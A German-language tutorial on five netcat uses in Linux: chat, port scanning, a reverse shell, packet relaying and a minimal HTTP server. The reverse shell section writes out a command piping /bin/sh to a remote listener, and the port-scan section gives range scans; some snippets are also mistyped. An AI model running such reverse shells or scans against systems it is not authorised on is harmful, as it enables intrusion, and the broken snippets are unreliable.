5 Einfache und Leichte Anwendungen für Netcat in Linux

Ein Foto eines Mannes, der ein UTP-Kabel an einem Server-Rack inspiziert.

Netcat ist ein leistungsstarkes Kommandozeilen-Netzwerkdienstprogramm in Linux, das TCP- und UDP-Pakete senden und empfangen kann. Im Gegensatz zu anderen Netzwerktools ist Netcat extrem einfach. Seine Einfachheit ermöglicht es jedoch, fast jede Art von Aktivität über ein Netzwerk durchzuführen.

Dieser Artikel zeigt Ihnen 5 einfache Netzwerkaufgaben, die Sie mit Netcat durchführen können. Darüber hinaus wird dieser Artikel auch hervorheben, was Netcat besonders macht und warum Sie es in Ihr Linux-Toolkit aufnehmen sollten.

Inhaltsverzeichnis

  • Wie funktioniert Netcat und warum sollte man es verwenden?
    1. Peer-to-Peer-Chat-Sitzung
    1. Einfacher Port-Scanner
    1. Reverse Shell
    1. Einfaches Paket-Relay
    1. Einfacher HTTP-Server
  • Häufig gestellte Fragen

Wie funktioniert Netcat und warum sollte man es verwenden?

Netcat ist ein einfaches Dienstprogramm, das Netzwerkpakete senden und empfangen kann. Es wurde erstmals 1995 von einem pseudonymen Programmierer namens Hobbit veröffentlicht. Seitdem ist Netcat ein wichtiger Bestandteil jeder Linux-Distribution.

Im Kern funktioniert Netcat, indem es Netzwerk-Anfragen von einem Linux-Host zu einem anderen sendet. Diese Netzwerk-Anfrage kann jede Art von Daten enthalten, und Sie können sie über jeden Port senden.

Ein Terminal, das einen einfachen Texttransfer mit Netcat zeigt.

Dieser Ansatz bedeutet, dass Netcat jede Art von Netzwerkverbindung erstellen kann. Zum Beispiel kann das Programm direkte TCP-Verbindungen herstellen, die Sie entweder zum Übertragen von Dateien oder zum Erstellen von Reverse-Shell-Sitzungen verwenden können.

Ein Desktop, der einen einfachen Dateiübertrag zwischen zwei Linux-Hosts mit Netcat zeigt.

1. Peer-to-Peer-Chat-Sitzung

Eine der grundlegendsten Anwendungen von Netcat ist eine einfache Peer-to-Peer-Chat-Sitzung zwischen zwei Linux-Maschinen. Dies ist eine Kommunikationsmethode, die nicht auf einen Drittanbieter-Server angewiesen ist, um Informationen zu senden und zu empfangen.

  1. Damit dies funktioniert, müssen Sie einen Port zwischen 49152 und 65536 auf Ihrer lokalen Maschine öffnen. Hier kann sich ein Remote-Host verbinden und beliebige Informationen an Ihre Maschine senden.
sudo ufw allow 50000
  1. Sie müssen auch einen anderen Port auf dem Remote-Host öffnen, damit Ihre Maschine Informationen an ihn senden kann:
sudo ufw allow 50001
  1. Führen Sie netcat auf Ihrer Maschine mit den folgenden Argumenten aus:
nc -lp50000

Dies öffnet eine Netcat-Sitzung, die aktiv auf Daten am Port 50000 hört.

  1. Der Remote-Host kann nun beliebige Textdaten an Ihre lokale Maschine senden. Zum Beispiel wird der folgende Befehl die Standard-Eingabe des Systems an eine Remote-Maschine senden.
cat - | nc 192.168.122.136 50000

Ein Terminal, das die Standard-Eingabeaufforderung für einen einfachen Netcat-Chat zeigt.

  1. Um auf die Nachricht zu antworten, muss der Remote-Host auch einen hörenden Daemon ausführen:
nc -lp50001
  1. Jetzt können Sie auch eine Nachricht von der lokalen Maschine an den Remote-Host senden:
cat - | nc 192.168.122.177 50001

Ein Terminal, das zwei virtuelle Terminals für einen Vollduplex-Netcat-Chat zeigt.

2. Einfacher Port-Scanner

Ein Port-Scanner ist ein einfaches Dienstprogramm, das überprüft, ob eine Reihe von Ports auf einer Maschine von einem Remote-Host aus zugänglich ist. Dies ist äußerst nützlich, wenn Sie sich nicht sicher sind, ob Ihr System die entsprechenden Ports geöffnet hat.

Um einen einzelnen Port zu überprüfen, können Sie nc -v gefolgt von der IP-Adresse und dem Port, den Sie überprüfen möchten, ausführen:

nc -v 192.168.122.177 80

Ein Terminal, das einen einfachen Port-Scan für Port 80 zeigt.

Sie können auch eine Reihe von Zahlen angeben, bei denen Netcat nacheinander jede Portnummer innerhalb dieses Bereichs überprüft. Zum Beispiel wird der folgende Befehl alle offenen “well-known” Ports scannen:

nc -v 192.168.122.177 1-1024

Ein Terminal, das einen Bulk-Scan für

Einer der Nachteile des Abfragens von Ports ist, dass es unnötigen Netzwerkverkehr erzeugt. Dies kann ein Problem sein, wenn Sie einen großen Bereich von Ports in einem kleinen Heimnetzwerk testen.

Um dies zu beheben, aktivieren Sie den “Zero I/O”-Modus von Netcat, der keine Netzwerkaktivität auf dem Remote-Host erzeugt:

nc -zv 192.168.122.177 1-1024

Ein Terminal, das einen Zero IO Bulk-Port-Scan mit Netcat zeigt.

FYI: Erfahren Sie, wie Sie nmap auch ohne sudo verwenden können, um Informationen über die Maschinen in Ihrem lokalen Netzwerk zu sammeln.

3. Reverse Shell

Reverse Shells sind das A und O des Penetrationstests in Linux. Dies sind Remote-Shell-Instanzen, die es Ihnen ermöglichen, ein System zu steuern, selbst wenn keine eingehenden Ports geöffnet sind. Dies macht Reverse Shells praktisch, wenn Sie auf eine Maschine zugreifen müssen, die keinen SSH-Zugang hat.

  1. Um eine Reverse Shell zu erstellen, müssen Sie einen Listener-Daemon auf Ihrer lokalen Maschine öffnen:
nc -lp50000
  1. Starten Sie eine Netcat-Verbindung auf Ihrer Remote-Maschine. In diesem Fall müssen Sie auch die Shell-Umgebung der Remote-Maschine übergeben:
nc -e/bin/sh 192.168.122.136 50000

Hinweis: Der obige Befehl funktioniert nur auf Nicht-Ubuntu-Distributionen. Um dies in Ubuntu zu tun, müssen Sie das Paket “netcat-traditional” installieren und “nc” durch “nc.traditional” ersetzen.

  1. Gehen Sie zurück zu Ihrer lokalen Maschine und führen Sie einen Shell-Befehl aus. Zum Beispiel wird das Ausführen von ls das aktuelle Verzeichnis des Remote-Benutzers ausgeben.
ls-la

Ein Terminal, das die Ausgabe einer erfolgreichen Reverse Shell zeigt.

  1. Um die Reverse-Shell-Sitzung zu beenden, können Sie Ctrl + C auf dem Listener-Daemon Ihrer lokalen Maschine drücken.

Ein Terminal, das den Schließvorgang der Reverse Shell auf der lokalen Maschine zeigt.

Gut zu wissen: Erfahren Sie, wie Sie Ihre Reverse Shell effektiv nutzen können, indem Sie die Grundlagen des Shell-Skripts lernen.

4. Einfaches Paket-Relay

Neben dem direkten Lesen und Schreiben in einen Netzwerkstream können Sie Netcat auch verwenden, um eine eingehende Verbindung an einen beliebigen ausgehenden Port umzuleiten. Dies funktioniert, indem mehrere Netcat-Listener- und Client-Sitzungen mit UNIX-Pipes verkettet werden.

  1. Erstellen Sie eine Netcat-Sitzung, die auf Port 50000 hört. Dies dient als ausgehender Port für Ihr einfaches Relay:
nc -lv localhost 50000
  1. Öffnen Sie ein neues Terminal und führen Sie den folgenden Befehl aus:
nc -lv localhost 50001 | nc localhost 50000

Dadurch wird ein neuer Listener-Daemon auf Port 50001 erstellt, der automatisch alle Pakete an diesem Port an Port 50000 umleitet.

Ein Terminal, das die Durchgangsverbindung zwischen zwei Ports zeigt.

  1. Sie können jetzt Daten an Ihren eingehenden Port senden, und Netcat wird automatisch die Ausgabe an Ihren ausgehenden Port umleiten.
echo"MakeTechEasier"| nc localhost 50001

Ein Terminal, das ein einfaches Paket-Relay in Aktion zeigt.

  1. Neben lokalen Ports können Sie diese Funktion auch verwenden, um jeglichen Netzwerkverkehr an eine andere Maschine umzuleiten. Zum Beispiel sendet der folgende Code Daten an Port 50000 zum gleichen Port auf einem anderen System:
nc -lv localhost 50000| nc 192.168.122.177 50000

Ein Terminal, das ein einfaches Paket-Relay zwischen zwei Hosts zeigt.

Hinweis: Damit dies funktioniert, müssen Sie mehrere Daemon-Prozesse ausführen, und es verschlüsselt keine Daten, die durchgehen.

5. Einfacher HTTP-Server

Das Einrichten eines HTTP-Servers kann ein komplexer Prozess sein, selbst wenn Sie nur eine einzelne Seite bereitstellen möchten. In dieser Hinsicht kann Netcat auch als einfacher statischer Webserver dienen, den Sie in Linux ohne Installation zusätzlicher Tools einrichten können.

  1. Erstellen Sie eine grundlegende HTTP-Antwortdatei. Der folgende Code-Schnipsel zeigt eine Webseite mit einer einfachen Nachricht an:
HTTP/1.1 200 OK  
Content-Type: text/html; charset=UTF-8  
Server: netcat!  
  
  
  
# Hallo MakeTechEasier!  
  
  1. Speichern Sie es als “index.http” in Ihrem Home-Verzeichnis.

Ein Terminal, das die Struktur einer einfachen HTTP-Antwort zeigt.

  1. Führen Sie den folgenden Befehl aus:
while true; do { echo -e 'cat /home/$USER/index.http; } | nc -lv localhost 8080; done

Ein Terminal, das einen einfachen Netcat-Webserver im Betrieb zeigt.

Jetzt haben Sie einen funktionierenden Webserver. Sie können Ihre Webseite besuchen, indem Sie einen Webbrowser öffnen und zu http://localhost:8080 gehen.

Ein Screenshot, der einen funktionierenden Netcat-Webserver zeigt, der eine Webseite bereitstellt.

  1. Drücken Sie Ctrl + C im Terminal, um die aktuelle Webserver-Sitzung zu beenden.

Ein Terminal, das den Schließvorgang für den einfachen Netcat-Webserver zeigt.

Hinweis: Wie Sie sehen können, ist dies nur ein sehr einfacher HTTP-Server und er ist unsicher. Wenn Sie Ihren eigenen Server betreiben, sollten Sie diese Tipps befolgen, um Ihren Server abzusichern.

Gut zu wissen: Erfahren Sie, wie Sie Ihre Dateien effektiv verwalten können, indem Sie sed verwenden, um Textströme zu manipulieren.

Häufig gestellte Fragen

Ich kann mich nicht mit einer Remote-Maschine über Netcat verbinden.

Dieses Problem liegt höchstwahrscheinlich an einem blockierten Firewall-Port auf der Remote-Maschine. Sie müssen sicherstellen, dass der Port, den Sie auf Ihrer Maschine verwenden, für eingehende und ausgehende Verbindungen geöffnet ist. Zum Beispiel müssen Sie sudo ufw allow 49999 ausführen, wenn Sie Port 49999 auf der Remote-Maschine verwenden möchten.

Ist es möglich, sich mit einem beliebigen Host über Netcat zu verbinden?

Nein. Während Netcat in der Lage ist, beliebige Netzwerkströme zu lesen und zu schreiben, kann es sich nicht mit einer Maschine verbinden, die von Ihrem Systemnetzwerk aus nicht auffindbar ist. Dazu gehören private Netzwerke, die kein Port-Forwarding aktiviert haben, sowie luftdicht abgeschottete Systeme, die keinen Netzwerkzugang haben.

Ist es möglich, eine Verbindung in Netcat zu fälschen?

Nein. Dies liegt daran, dass Netcat nur Pakete von einer gültigen Netzwerkschnittstelle senden und empfangen kann. Sie können jedoch ändern, woher dieses bestimmte Paket kommt, wenn Sie mehrere Netzwerkschnittstellen haben.

Zum Beispiel können Sie nc -l -s 10.0.0.2 -p 50000 ausführen, um Netcat anzuweisen, Pakete explizit über die Schnittstelle mit der IP-Adresse “10.0.0.2” zu senden.

Bildnachweis: ThisisEngineering RAEng über Unsplash. Alle Änderungen und Screenshots von Ramces Red.